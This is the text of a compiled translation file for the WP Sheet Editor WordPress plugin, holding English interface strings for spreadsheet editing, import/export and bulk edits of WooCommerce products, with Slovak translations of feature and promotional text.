existing items to update?How do you want to save the multiple files?How do you want to save the multiple posts?How is the file saved in the database?How is the post saved in the database?How is the user saved in the database?How long do you want to wait between batches? (in seconds)How many copies do you want?I don't want to copy all the variationsI have a database backup, Execute NowI understand it will export all the rows from my current search.I understand it will update the products from my search.I understand, continueI want to search rows to update and edit all the search resultsIDIf the column has a very long text, we will remove the html and shorten it to a number of words.If you activate this option we will deactivate all the spreadsheets, settings pages, and the entire plugin will become invisible to the user. Only the REST API will remain active. This is useful for advanced scenarios when you only use our REST API to keep websites synchronized with external spreadsheets or systems. When this option is active, our settings page will moved under the general settings menu because our sheet editor menu will be removedIf you disable this option, this column will be edited manually only.If you enable this option, some columns will appear as text. Normally we detect the date fields, image fields.If you enable this option, the usage stats widget shown in the wp-admin dashboard will be removed.If you enable this option, we will add fields to the user profiles where you can specify which spreadsheet views they can use, they can use all the spreadsheet views if this is deactivated.If you enable this option, we will simplify the spreadsheet options and remove advanced examples, tips, and options rarely used in the search tool, bulk edit tool, import tool, export tool, and other places.If you mark this option , when you create or update a post in the spreadsheet, we will check if the post matches the formula parameters and execute the formula automatically on that post. For example. When you create a product with category apples we can set the description automatically, or when you change the SKU we can update the downloadable files URLs automatically.If you stop an import to edit your CSV file or change the import speed, you can start a new import and continue from where you left off.Ignore this columnImagine being able to do all those changes to hundreds or thousands of posts at once in just a few minutes. The formulas feature is available as premium extension.ImportImport all rows as newImport all the columnsImport as meta dataImport csvImportant. We only detected one column in the CSV file. If this is incorrect, follow these steps to fix itImportingImproved 7 featuresImproved sheet: Moved settings to a dropdown to simplify the UI and added new context menu optionsImproved tools: columns visibility. Now you can delete unnecessary columns and improved sorting and disable logicImproved tools: formulas engine. Now you can make advanced searches and apply formulas to the search results. Paid users only. Upgrade)In Google Sheets > top toolbar. Open the "WordPress" option.In this page you can quickly set up the spreadsheet editor. This all you need to use the editor. The settings on the other tabs are completely optional and allow you to tweak the performance of the editor among other things.Increase ProductivityIncrease byIncrease by numberIncrease by percentageIncrease or decrease products pricesIncrease or decrease products stockIncrease rows per pageIncrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Increase the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Initial rows offsetInsert into itemInstall for FreeInstall the "WP Sheet Editor" chrome extension. InstallInvalid #898AJSI. The replace requires 2 parameters, we received oneInvalid #8W23CV. We accept MATH and REPLACE formulas only, we received an unknown formula type.Invalid #8W89PQ. Math formula is empty.Invalid #PQ8SPQ. The math formula contains a comma: %sInvalid time unit.Is DownloadableIs VirtualIs Visible?Is a global attribute?Is featured?Is read only?Is visible?It searches in the post title and post content.
                  Search by multiple keywords separating keywords with a semicolon (;)Items loaded in the spreadsheetJWT is not configurated properly, please contact the adminJust save changesKeyLabelLengthLinks ColorLiveLoadLoad More RowsLoad more items on scroll?Load more on scrollLoad rows faster: Number of rows to load per batchLocate cellLocate cell.Locate columnLogin messageLogoMain ColorMake another searchManage stockManage taxonomy column values as term ids?Math FormulasMath formulaMath formula roundup decimalsMath operationMaximum number of variations per combination of attributesMaximum number of wordsMedia Library SpreadsheetMenuMeta keys that should use the infinite serialized fields handlerMeta: %sMicrosoft Excel (Office 365)MiscMissing columnsMissing number and time unit.Missing parameters.Missing post type or column_keyMissing post type, old_column_key, or new_column_key; or the old and new key are the same.Missing required field "data".Missing required field. Please start the process again.Modified DateModified postsMonthsMore optionsMove all your drafts to published posts or any other statusMove hundreds of posts to the trashMusicMy licenseNOT CONTAINSNOT Contains this keywordNameName of this export (optional)Need help?Need help? Check our tutorialsNeed help? Contact usNew SpreadsheetNew extension - EVENTS - View/edit events, venues, and organizers in a spreadsheet. Advanced search, etc. View Extension)New extension - WooCommerce Coupons - View/edit coupons in a spreadsheet. Advanced search, Bulk Edit hundreds of coupons, etc. Perfect for the christmas season. View Extension)New feature - Added support for Advanced Custom Fields > relationship fields. Paid users only. Upgrade)New rows addedNew valueNextNoNo items found.No more posts available.No options availableNo posts available for the current page.No posts found matching your search parameters. You can remove the active filters or try with a different search.No taxonomies found.Normal cellNot allowed.Not allowed. Please start the process again.Not foundNot found in TrashNote. If you want to modify saved formulas you have to delete the formula and create it again in the formulas builder.Note. More than 75 copies at once might overload the server. Do it in small batches.
                  You can continue if you think your server can handle it.Note. This is not a security feature, the user can edit all the fields in the normal editor based on the role. This option is for convenience, so they only see the columns they need when they open the spreadsheet editor. If you leave these fields empty they can switch between all the existing viewsNote. This works in Google Chrome only.Note: Separate values with the character %s
                  The product must be variable and have existing variations for this to work, otherwise the default attributes won't be saved.Note: Separate values with the character %s
                  We recommend using Global Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have their own columns in the spreadsheet. You can edit them in the columns (faster) or using this popup.
                  If you are editing the attributes of variations, the variation must be enabled, otherwise the attributes won't be saved.NumberOKOn which post types do you want to enable the editor?One variation row has a parent product that does not exist. The "parent" column contains the %s: %s. Please correct it and start a new importOnly create new items, ignore existing itemsOnly for advanced users. Read more.Oops, nothing foundOpen Google Sheets. Click hereOpen Settings PageOpen in a SpreadsheetOpen the Spreadsheet EditorOperatorOrderOtherOther extensionsOther versions of Microsoft ExcelPage ParentPagesParameter:ParentParent Spreadsheet:PasswordPaste using keyboard: Ctrl+VPausePlain text mode: Render as: (Use only if cell type is empty)Please check if you have unsaved changes. If you have, please save them or they will be dismissed.Please correct the error and save again.Please correct the error in the file and start a new import. You can use the "Advanced options" in the step 1 of the import to start from this specific row.Please enter the name of the spreadsheet views separated by commas.Please make a search to load the rows and start editing (use the "search" option in the top toolbar).Please select a product.Please select a source product.Please select at least one column to importPlease select the post type and save changes. After you save changes you will be able to see the rest of the settings and instructions.Please update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "Post dropdownPost IDPost TypePost Type General NameSpreadsheetsPost Type Singular NameSpreadsheetPost TypesPost dataPost meta (i.e. metaboxes)Post terms (i.e. categories)Post typePost type deletedPost type(s)PostsPrependPreview Frontend EditorPreviousPrimary MenuProProcessing...Processing: %d of %d rows have been exported.Product attributesProduct attributes not used for variationsProduct attributes not visibleProduct galleryPromotion. %d%% OFF only today. Purchase noteQuick AnswersQuick searchQuick settingsREGEXPRealign cellsRegular PriceRegular priceRemove all filtersRemove column completely. If you want to use it later you can disable it by dragging and dropping to the right columnRemove duplicatesRemove duplicates by sku (delete the latest)Remove duplicates by sku (delete the oldest)Remove duplicates by title (delete the latest)Remove duplicates by title (delete the oldest)Remove featured imageRemove help messages from the cells?Remove the existing value and leave the field empty. Read moreRename columnReplaceReplace a media file with other fileReplace a word, phrase, or number with a new value. Read moreReplace existing value with this value. Read moreReplace old shortcodes with new shortcodes in all your postsReplace some term(s) with new term(s). Read moreReplace these filesReplace thisReplace this fileReplace words or phrases in your posts titles, content, or other fieldsRequest not allowed. Try again later.Reset settingsResize columns based on the valuesRestore deleted columnsReview countRow ID: %d, Post type: %s does not exist in WordPress. Make sure your CSV uses the right name in the post type column.Row ID: %d. You are trying to save an empty post type. Make sure your CSV uses the right name in the post type column.Rows deleted successfullyRun searchSEOSEO Canonical URLSEO DescriptionSEO FB descriptionSEO FB imageSEO FB titleSEO KeywordSEO No IndexSEO Primary %sSEO TW descriptionSEO TW imageSEO TW titleSEO TitleSKUSTARTS WITHSale PriceSale end dateSale priceSale price datesSale start dateSales price date fromSales price date toSame as the spreadsheet post typeSaveSave and continueSave changesSave changes and go to the next post editorSave changes and go to the previous post editorSave changes faster: Number of rows to save per batchSave them as serialized arraySave these settings for future sessions?Save this searchSaved them separated by commaSaved: %sSaving changes, don't close this page.Scan DB to find fieldsScan NowSearchSearch SpreadsheetSearch on variations?Security and user roles (optional)Select active columnsSelect allSelect all the products from a searchSelect column...Select columns to importSelect individual columns to importSelect individual productsSelect product...Select the format of the cells, if the cells should be normal text, a file uploader, or text editor.Select the information that you want to edit with the spreadsheet editor.Select the kind of information used in the cells of this column.Select the rows that you want to update.Select type of editSelect...SeparatorSeparator for taxonomy terms cellsSet featured imageSet hundreds of products at once as out of stock or in stockSet the same featured image in all the posts in a categorySet up SpreadsheetSet valueSettingsSetup page in the frontendSetup spreadsheetSheet EditorShipping classShort descriptionShow advanced optionsShow advanced options Show all the custom post statuses?Show cells as simple textShow column keyShow items published between these datesShowing rows from your last session.Simple textSkip broken images?SlugSold individuallySolution to weird errorsSome changes are not saved yet.Some plugins execute a task after a post is created or updated. For example, there are plugins that share your new posts on your social profiles, other plugins that notify users after a post is updated, etc. There might be an issue with those plugins. For example, if you use a plugin that shares your new posts on your twitter account and update 100 posts in the spreadsheet editor you might end up with 100 tweets shared in your twitter account. So enable this option if you want to update / create posts silently without executing those functions.Some rows were modified in the background. Please save the changes and reload the spreadsheet to see the changesSome rows were modified in the spreadsheet. Please save the changes before using this feature.Sort alphabetically ASCSort alphabetically DESCSourceSpeed and performanceSpreadsheet ArchivesSpreadsheet AttributesSpreadsheet for %s %sSpreadsheet viewsSpreadsheets listSpreadsheets list navigationStandard ProductStart from row number:Start new exportStatusStockStock statusSubscriber role is not allowed to use the editor.Suspend object cache invalidation?TagsTags (comma separated)Target products not found.Taxonomy columns like post categories, post tags, etc. show terms separated by comma, if you use commas in your term names, use this option to change the separatorTaxonomy dropdownTaxonomy dropdown. Only if data source = post terms.Template item not found or not allowed to be duplicated.TermsTextText editor (tinymce)Thank you for updating to the new version of the plugin.Thank you for using our spreadsheet editorThe "Create variations" tool allows you to create variation based on the combination of attributes. The default limit is 200 variations to not overload your server. You can increase the limit here if you need more variations.The "bulk update" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:The REST API can be used for interacting with our spreadsheet from external apps.The Spreadsheet is ready.The WooCommerce products spreadsheet automatically generates inventory units and inventory price stats and shows the stats above the spreadsheet. This can slow down the sheet if you have several thousand products. Disable it if the spreadsheet is too slow or you see errors when loading rows.The auto saving failed: the server is not available or overloaded. Do you want to try again?The bulk edit has been executed. Do you want to reload the page to see the changes?The bulk edit is missing important information, please fill the form.The bulk edit is running. Please dont close this window until the process has finished.The bulk edit was executed successfully. You can close this windowThe cell will display the values as URLs and you can edit in the cells using full URLs, file ID, or file name.
                  External URLs are automatically imported into the media library.
                  We will save the value in the format selected hereThe cells will display the date in the format: YYYY-MM-DDThe changes about to be made are not reversibleThe changes about to be made are not reversible. You should backup your database before proceding.The column name displayed in the spreadsheetThe column selected is not valid.The default way uses a faster execution method, but it might not work in all the cases. Use this option when the default way doesn't work or doesn't update all the posts.The editor is available only for logged in users. Unknown users will see a login form.The export does not exist. Please export again.The export feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The files could not be saved.The import feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The item could not be saved. Please try again in other moment.The key that will be used for saving the information in the database. This must be unique, only letters and underscores.The last import batch failed due to a server error, it's more likely that the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows every few seconds).
                  2- You can start a new import, sometimes trying again works (use the "advanced settings" in the step 1 of the import to start from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens after trying with 1 row per batch, you can contact us and we will make it work for youThe loading is taking too long?
                  1. You can wait until the process finished.
                  2. You can The log file does not exist.The math formula can't be applied. We found some existing data is not numeric. Data found: %s, ID: %dThe meta field could not be deleted.The meta field was deleted successfullyThe meta key couldnt be renamed.The meta key was renamed successfullyThe option to create variations for every combination of attributes requires WooCommerce 3.0 or higher. Please update WooCommerce.The plugin will mark as used for variations all the attributes that DONT contain these keywords, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will mark as visible all the attributes that DONT contain these keywords, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will not initialize for the user roles not selected here.The preview is fine, start importThe quick access link has expired or it does not existThe selected product does not have variationsThe server could not process our request. Please try again later.The server did not accept our request. Bad request, please try refresh the page and try again.The server didn't accept our request. You don't have permission to do this action. Please log in again.The server has exceeded its allocated resources and is not able to process our request.The server is busy and took too long to respond to our request. Please try again later.The server is not available or overloaded. Do you want to try again?The server is not available or overloaded. Please try again later.The server wasn't able to process our request. Server error. Please try again later.The source product doesn't have variations.The spreadsheet automatically generates columns for serialized fields, but this can use a lot of CPU cycles depending on the number of serialized fields. You can disable this feature if the sheet is too slow to load or you get errors when loading the rows or you dont want to see columns with prefix "SEIS".The spreadsheet editor can be used to edit your WordPress %s.The spreadsheet editor is very powerful and it has a lot of features. In this step you can enable the features that you need.The spreadsheet loads only the "visible rows" for performance reasons, so when you scroll up or down the rows are loaded dynamically. This way you can "open" thousands of posts in the spreadshet and it will work fast. However, if you want to use the browser search to find a specific cell, you need to disable the lazy loading in order to load all the rows at once and the browser will be able to find the cells. The browser search doesn't work by default because only the "visible rows" are actually created.The taxonomy columns (i.e. categories, tags) use a limited dropdown by default for selecting one term only and the column can be copy pasted. We have a fancy dropdown selector, which has better auto complete, allows selecting multiple options, etc. but it uses more server resources and it doesn't allow copy pasting in these cells. You can activate it here if you prefer a better dropdown over the ability to copy paste.The variations are for these products: This color will be used as background for the header and footer.This color will be used for the menu links, it should be the opposite of the background color. i.e. dark background with light text, or light background with dark textThis column is for parent products only, variations don't use this fieldThis column is only for variation rows, parent products don't use this fieldThis feature is available as premium extension.This is only for advanced users or if our support team asks you to use this option. We have 2 ways to handle serialized fields: the old handler (used by default, which has limitations) and the infinite serialization handler (better, it is not active by default to not break previous integrations). Use this option if you have serialized fields that save incorrectly or dont appear in the spreadsheet.This is optional. Leave empty to use the name from the URLs. Enter multiple names separated by commasThis logo will be displayed above the spreadsheet in the frontendThis menu will be displayed at the top right section above the spreadsheet.This might help if the spreadsheet doesnt load or it loads empty.This will be displayed when the current user is not logged in and tries to see a spreadsheet page. We will display a login form after your message.This will save you {clicks_count} clicks :)Time saved
                  (estimated)Time unitTinyMCE EditorTip. If you edited information from this site, you should import the columns edited and record_id. Don't import columns that weren't modifiedTip. We can help you with the spreadsheet setup. Get instant help in the live chat during business hoursTip. You can use the "export" tool to download a CSV and see the available columns and format.
                  You can read our documentation here.TitleTo search among all posts use the Search tool. Use this to locate and highlight one value in the loaded rows in the spreadsheet. I.e. highlight a SKU or email or title.Tools located above the table.Total salesTranslate separatelyTurn this on and the spreadsheet will save automatically all the changes made on the cells every 2 minutes. Careful, this might cause issues if the changes are saved prematurely before you finish editing all the required columns.TutorialTypeURL SlugUnfiltered HTMLUnselect allUnselect all columnsUpdate existing items, ignore new itemsUpdate existing value with the result of a math operation.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Update settingsUpdated 6 extensions.Upload imageUpload the fileUpload the filesUploaded by userUploaded to this itemUpsellsUsage statsUse an infinite list instead of paginationUse as featured imageUse pagination in the spreadsheet?Use prices from simple product (parent) on the variationsUse separate columns for images during export and import?Use slower execution method?Use this editor to edit the content only, other fields like tags and categories should be edited on the spreadsheet.Use this link privately for security reasons, this link expires after one usage.Used for Variations?Used for variation?User dropdownUser not allowedUser not allowed to edit rowsUser rolesUser roles that can use the spreadsheet editorUsernameUsersUsing this tool you can update thousands of rows at onceValueValue in the replace section is not validVariation descriptionVariation enabled?Variation: %sVariations ManagerVendorViewView ExtensionsView GalleryView SpreadsheetView SpreadsheetsView extensionsView logVirtualVisibilityWP EditorWP Sheet EditorWP Sheet Editor UsageWPBakery Page BuilderWPML - DuplicateWPML - LanguageWPML - RelationshipWPML - Translation ofWPML - Translation priorityWatch tutorialWe are saving now. Don't close this window until the process has finished.We automatically detected all the columns.We automatically round up to 2 decimals. You can enter any number here, for example, 1 to round to 1 decimalWe can scan the database, find new fields, and create columns automatically for the supported fields.We didn't find rows to update from the search query. Please try another search query.We find rows with the same value in the CSV Field and the WP Field.
                  I.e. Products with same SKU or ID.We found similar columns. Do you want to apply the same action to them? {columns}We have +200 tutorials and guides on our blogWe have an extension for displaying this spreadsheet on the frontend. You can select the columns to display, and select the spreadsheet tools for the frontend users (search, bulk, edit, import, export, etc.). For example:We import the file in batches (i.e. 4 rows every few seconds). When one batch fails, we normally pause the import and ask you if you want to retry or cancel the import. Select this option to auto retry. Careful, you need to select the option to update existing rows in step 3 of the import, so we can retry and skip what was imported successfully and only retry what failed, if you dont select the option to update in step 3 of the import, every retry might duplicate some previously imported rows.We limit the spreadsheet columns for performance reasons to avoid loading thousands of columns on the spreadsheet. You can increase this limit if you want to display more columns. Default: 310We need to reload the Spreadsheet to remove the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We need to reload the spreadsheet rows to load the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We use pagination to use few server resources. We load 20 rows first and load 20 more every time you scroll down. You can increase this number to load more rows per page. CAREFUL. Loading more than 200 rows per page might overload your server. If we detect that the server is overloaded we will automatically reset to 10 rows per page.We use pagination. By default we load 20 rows per page (every time you scroll down). You can increase the number to load more rows every time you scroll down.We will append the new file to the existing files in the products. Enter file URL only, you can enter multiple URLs separated by comma.We will append the new file(s) to the existing media file(s).We will delete the selected row(s) from the database completely. If you want to restore them later, you should make a backup before. Do you want to delete them?We will delete this meta field from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will display all the columns that were deleted or disabled, renamed columns will show the original titles, we will rescan the database to find columns again, and the speed/advanced settings will be reset to the defaults. This only affects settings of our plugin and it does not affect the data edited with the sheet.We will prepend the new file(s) to the existing media file(s).We will replace the existing media file with this file.We will replace the existing media file(s) with these file(s).We will replace the existing terms with these terms.We will save the current search query and export settings, and you can execute this export with one click in the future using the dropdown in the export menuWe will save these files. Existing files will be overwritten. Enter file URL only, you can enter multiple URLs separated by comma.We will save this group of columns as a spreadsheet view and you can switch between spreadsheets in the toolbarWeeksWeightWelcome to WP Sheet EditorWhat app will you use to edit this file? (optional)What attribute do you want to edit?What columns do you want to export?What component do you need?What date format do you want to save in the database?What field do you want to edit?What information do you want to edit on the frontend?What kind of posts require this column in the spreadsheet?What setting do you want to change?What valued is saved when the checkbox is checked?What valued is saved when the checkbox is unchecked?What's new on WP Sheet EditorWhen the sheet loads and saves post content, we run it through wpautop to prevent issues with line breaks. You can disable this if you dont want to see/save the p tags in the content.When the sheet loads, we open it in full screen and you have the option to exit the full screen mode. Activate this option and we wont open the sheet in full screen.When this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the pageWhen this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the page. You can enable / disable in the spreadsheet too.When this is enabled the products variations will be displayed and you will be able to edit them.When you delete posts, pages, events, products, orders, coupons, and other post types, you can select how many will be deleted on every batch. Use a higher number to finish faster. Default is 500When you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. But your server can't handle all the batches one after another so we need to wait a few seconds after every batch to give your server a little break. The recommended value is 6 seconds, you can adjust it as it works best for you. If you get errors when saving you should increase the number to give your server a longer break after each batchWhen you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. The recommended value is 4 , which means we will process only 4 posts at once. You can adjust it as it works best for you. If you get errors when saving you should lower the numberWhen you finish this step you can start using the frontend editor. You can add the frontend page to a menu or share the link with your users.When you have 1000 posts , you might want to open the spreadsheet and start editing from post 200. This option lets you skip a lot of rows. IMPORTANT. We use the pagination, so we will display the page closest to that number. For example. If you load 10 rows per page and enter 1205 as offset, the sheet will start from page 120 (index 1200) because it is the page closest to the defined offset.When you import an image using FTP urls, the image is imported every time and you might end up with duplicates in the media library. Activate this option to reuse images in the media library with same file name and avoid downloading the FTP image again on future imports. Deactivate this option if you want to keep the images updated on future imports.When you load the spreadsheet, we get all the columns at once from the database to make it faster, this is called prefetch. This can cause issues if you have thousands of columns or rare database setups.When you open the spreadsheet, we load the rows automatically so you can start editing right away. Activate this option if you want to search rows and load manually.When you use WordPress multisite and you delete a user in the users spreadsheet, by default we only remove the user from the current site but the user remains in the network. Activate this option if you want to delete the user account from the entire networkWhich duplicates do you want to delete?Which variations do you want to copy?WidthWith our editor you will be able to edit all the information of
                  your %s saving you a lot of time.With these filesWith thisWith this fileWooCommerce - BASIC integrationWooCommerce - Products IntegrationWooCommerce CouponsWooCommerce Coupons SpreadsheetWooCommerce Customers SpreadsheetWooCommerce Orders SpreadsheetWooCommerce productsWordPress FieldWordPress fieldWordPress uses the heartbeat API to check the login status every few seconds. This can overload your server because it could make hundreds of requests when you are editing in the spreadsheet. You can disable it to reduce the stress on your server while editing in the sheet. However, if you keep the spreadsheet opened over multiple days your login session can expire and you wont be notified if you disable the heartbeat and this can cause issues while saving. So use this option only when you use the spreadsheet for a few hours only.Wrong data formatWrong file extension. We accept CSV onlyWrong file urlWrong product type. Make sure it is a variable product.XYOAST SEOYearsYesYou are not allowed to do this action. Please reload the page or log in again.You can change the language of this post. If the translation for the new language exists, this change will not be applied.You can convert simple products into variable products. You can copy variations into a simple product and keep the prices from the simple product on the variations.You can create new items hereYou can do this multiple timesYou can edit your Media information like:You can edit your WooCommerce products information like:You can find all the settings here, like columns visibility, etc.You can read our FAQ with a list of hundreds of questionsYou can resize the editorYou can search by any field using operators. I.e. price > 100, image != (empty)You can select the rows for the edit in the first option of this form.You can start using the spreadsheet editor in just 5 minutes. Please follow these steps.You dont have enough permissions to create new rows.You dont have enough permissions to do this action.You dont have enough permissions to execute this action.You dont have enough permissions to load rows.You dont have enough permissions to save changes.You dont have enough permissions to search taxonomy terms.You dont have enough permissions to view this page.You entered an invalid formula. Please double check or contact us.You have modified posts. Please save the changes because we will refresh the spreadsheet.You have modified posts. Please save the changes because we will refresh the spreadsheet. Do you want to refresh now?You have modified rows. Please save the changes before removing columns from the spreadsheet.You haven't saved formulas yet.You must enter the full hierarchy like parent > childYou must use it privately for security reasons, this link expires after one usage.You need to load the rows manually because you deactivated the automatic loading of rows. Change the settingsYou need to login to view this page.You need to set a logo in the settings page. Optionally you can change the background color, links color, and set a header menu.You selected a column from the CSV file below but the column is not
                  being imported. Please go to the previous step and select the column to be imported.
                  Hypothetical example, if you want to update existing products with same ID, you need to import the ID column otherwise we don't have the IDs to find them.You will be able to type the post title in the cell and the cell will show a dropdown with suggestions.You will be able to type the username in the cell and the cell will show a dropdown with suggestions.Your server was not able to process this batch. Do you want to try again?Your server was not able to process this batch. Do you want to try again? You can retry 3 times, If 3 attempts fail we will stop the import completely.emptyis featured?orto{deleted} duplicates have been removed.{updated} items saved of {total} items that need saving.Project-Id-Version: WP Sheet Editor 2.21.3 Report-Msgid-Bugs-To: Language-Team: Slovenčina MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit POT-Creation-Date: 2020-10-20T18:06:58+00:00 PO-Revision-Date: 2023-07-11 14:39+0000 X-Generator: Loco https://localise.biz/ Last-Translator: roman Plural-Forms: nplurals=2; plural=(n != 1); Language: sk_SK X-Loco-Version: 2.6.4; wp-6.2.2 (Tieto správy pomocníka môžete odstrániť v rozšírených nastaveniach)(Premium. Vyskúšajte zadarmo na 7 dní ) Ak sa nespustí automaticky, súbor nájdete v priečinku /wp-content/uploads/wp-sheet-editor-universal-sheet/exports/ na vašom serveri.

                  Exportované súbory sa automaticky odstránia po %d hodinách.Niektoré stĺpce majú tlačidlo na zmenu formátovania%d z %d položiek bolo spracovaných zo súboru. Aktualizované položky: {total_updated} a vytvorené položky: {total_created}.%s riadkov bude upravených.Počet vytvorených variácií: %s.%s: Povolené zobrazenia tabuliek(Nainštalujte si bezplatné rozšírenie)(Pro rozšírenie)--- Najprv upravte jednu položku v bežnom editore a vyplňte všetky polia ručne.- Ak predchádzajúce riešenie zlyhalo, môžete nové stĺpce vytvoriť manuálne.- Možno ste odstránili stĺpce zo zoznamu.- Môžeme vám pomôcť.- Môžeme skenovať databázu, nájsť nové polia a automaticky vytvárať stĺpce--. Zjednodušená verzia. Všetky produkty a polia sa zobrazujú ako stĺpce, 15 stĺpcov je možné upravovať a ostatné sú len na čítanie.
                  Inovácia: Upravujte v Exceli/Tabuľkách Google, exportujte, importujte a hromadne upravujte tisíce produktov naraz.. Inovácia: Exportujte, importujte, upravujte v Exceli alebo Tabuľkách Google; hromadne upravovať tisíce riadkov naraz, upravovať všetky polia z iných doplnkov a ďalšie. Inovujte a ušetrite dni práce. Pridajte podradené kategórie pomocou tohto formátu: Rodič > dieťa1 > dieťa2. Odporúčame vám zvýšiť pamäť servera aspoň na 256 MB, aby ste predišli chybám servera. Návod...0 riadkov1. Otvorte Tabuľky Google .
                  2. V ponuke kliknite na "wp sheet editor".
                  3. Zadajte tento odkaz do možnosti „rýchly prístup“ na bočnom paneli Tabuľky Google.1. Čítame súbor správne? Tu je náhľad na prvých 5 riadkov zo súboru.2. Pred vykonaním importu si vytvorte zálohu, aby ste sa mohli vrátiť v prípade, že ste použili nesprávne nastavenia alebo bol súbor nesprávny. Import uloží informácie priamo.Čítaj viacPozrite si celý zoznam zmienÚprava poľa: {field_label}Záruka vrátenia peňazí. Kúpte si doplnok bez starostí. Ak doplnok nefunguje, vrátime vám peniaze.Tip z editora hárkov WP: Upravujte tisíce kategórií naraz, robte rozšírené vyhľadávanie, zobrazujte všetky informácie na jednej stránke a ešte viac.Tip od editora hárkov WP: Môžete zobraziť všetkých používateľov v tabuľke, zobraziť tisíce úplných profilov, upraviť stovky používateľov naraz bez toho, aby došlo k zlyhaniu vášho servera, zobraziť všetky informácie o preprave/fakturácii/spoločnosti. Uskutočňujte pokročilé vyhľadávania, vytvorte stovky používateľov a ešte viac. Stiahnite si doplnokTip od WP Sheet Editor: Variácie produktov si môžete prezerať a upravovať v tabuľke, hromadne upravovať, vykonávať rozšírené vyhľadávanie, upravovať stovky variácií naraz, kopírovať variácie do viacerých produktov atď. Stiahnuť pluginTip: Je vykonávanie vzorca príliš pomalé? Uložte viac príspevkov na dávku
                  Zobrazujú sa vám chyby pri vykonávaní vzorca? Ušetrite menej príspevkov na dávkuTip: Je ukladanie príliš pomalé? Uložte viac príspevkov na dávku
                  Zobrazujú sa vám pri ukladaní chyby? Ušetrite menej príspevkov na dávkuWP Sheet Editor: Všetky tieto variácie si môžete zobraziť a upraviť naraz v našej tabuľke. Otvoriť v tabuľke
                  Použite kupón: %s

                  Export je dokončený.

                  Sťahovanie by sa malo spustiť automaticky.

                  Chýba stĺpec?

                  alebo
                • Rola správcu obchodu môže zobrazovať a upravovať produkty WooCommerce.
                • Pridajte do tabuľky „duplicitný“ nástroj. Môžete vybrať jeden riadok (príspevok, produkt, kupón atď.) a vytvoriť veľa kópií.

                  Príklad. Vytvorte 100 produktov s rovnakými štítkami, rozmermi, atribútmi a variáciami. A manuálne zmeňte iba niekoľko polí.

                  Metaboxy Rozšírené vlastné polia sa v tabuľke zobrazujú automaticky. Takže môžete ľahko upravovať vlastné polia.

                  Vytvorte nové tabuľky s vlastnými stĺpcami a zdieľajte tabuľky so svojimi používateľmi alebo zamestnancami na frontende. Užitočné pre trhy, kde by predajcovia mali upravovať produkty v tabuľkovom procesore, povoliť odosielanie príspevkov alebo udalostí na frontende, adresároch udalostí, webových aplikáciách, vlastných informačných paneloch atď.

                  Upravte stovky príspevkov naraz pomocou niekoľkých kliknutí. Hľadať a nahradiť, Nahradiť adresy URL a frázy, hromadne uložiť hodnoty do polí, kopírovať hodnoty medzi poliami, zlučovať polia atď.

                  Príklady: Skopírujte bežnú cenu do akciovej ceny, aktualizujte názvy atribútov produktov atď.

                  Upravte stovky príspevkov naraz. Aktualizujte číselné polia pomocou pokročilých matematických vzorcov. Napríklad zvýšiť ceny o 10 %, spravovať zásoby atď. Spustite ľubovoľný matematický vzorec.

                  Vo vzorci môžete použiť viacero polí, napríklad „Bežná cena x Zásoby / Predajná cena

                  Upravte názov SEO, popis, kľúčové slovo a skóre SEO v tabuľke

                  Upravte produkty WooCommerce v tabuľke. Podporuje všetky druhy produktov vrátane variabilných produktov, produktov na stiahnutie, externých produktov a jednoduchých produktov. Môžete upraviť všetky polia produktov v tabuľke vrátane atribútov, obrázkov atď.

                  Upravujte používateľov WordPress v tabuľke, upravujte iba základné profily a vykonávajte základné vyhľadávania.

                  Upravte používateľov WordPress v tabuľke. Upravte ÚPLNÉ používateľské profily vrátane vlastných polí. Pridajte nové stĺpce do tabuľky, Vhodné pre obchody elektronického obchodu, členské stránky, adresáre udalostí, obchodné adresáre, adresáre používateľov

                  Upravte predvolené polia príspevkov v tabuľke.

                  Upravujte menu reštaurácií, kurzy, projekty, portfóliá a všetky vlastné typy príspevkov.

                  Nájdite príspevky podľa kľúčového slova, taxonómie, autora, dátumu, stavu alebo vlastných polí.

                  Hľadajte vo viacerých poliach pomocou pokročilých operátorov: =, !=, <, >, LIKE, NOT LIKE

                  Príklady: Nájdite produkty z kategórie Audio so skladom < 20 alebo produkty z kategórie Apple bez odporúčaného obrázka alebo produkty obsahujúce kľúčové slovo „Google“ bez galérie obrázkov.

                  Je to najlepší spôsob, ako spravovať svoje komentáre, recenzie zákazníkov WooCommerce, recenzie udalostí, referencie a poznámky k objednávke v tabuľke. Môžete vykonávať rozšírené vyhľadávanie podľa ľubovoľného poľa (kľúčové slovo, poznámka k objednávke, stav, nájsť komentáre podľa typu príspevku a všetky polia). Môžete ich hromadne upravovať, vymazávať všetky naraz, exportovať do excelu alebo externých systémov, importovať komentáre a recenzie z iných systémov a podobne.

                  Jedna tabuľka pre každú tabuľku vlastnej databázy pridaná inými zásuvnými modulmi. Živé úpravy v bunkách, Hromadné úpravy, Rozšírené vyhľadávanie podľa ľubovoľného poľa, export a import, hromadné odstraňovanie, presúvanie informácií medzi lokalitami, úprava tisícok položiek a ďalšie.

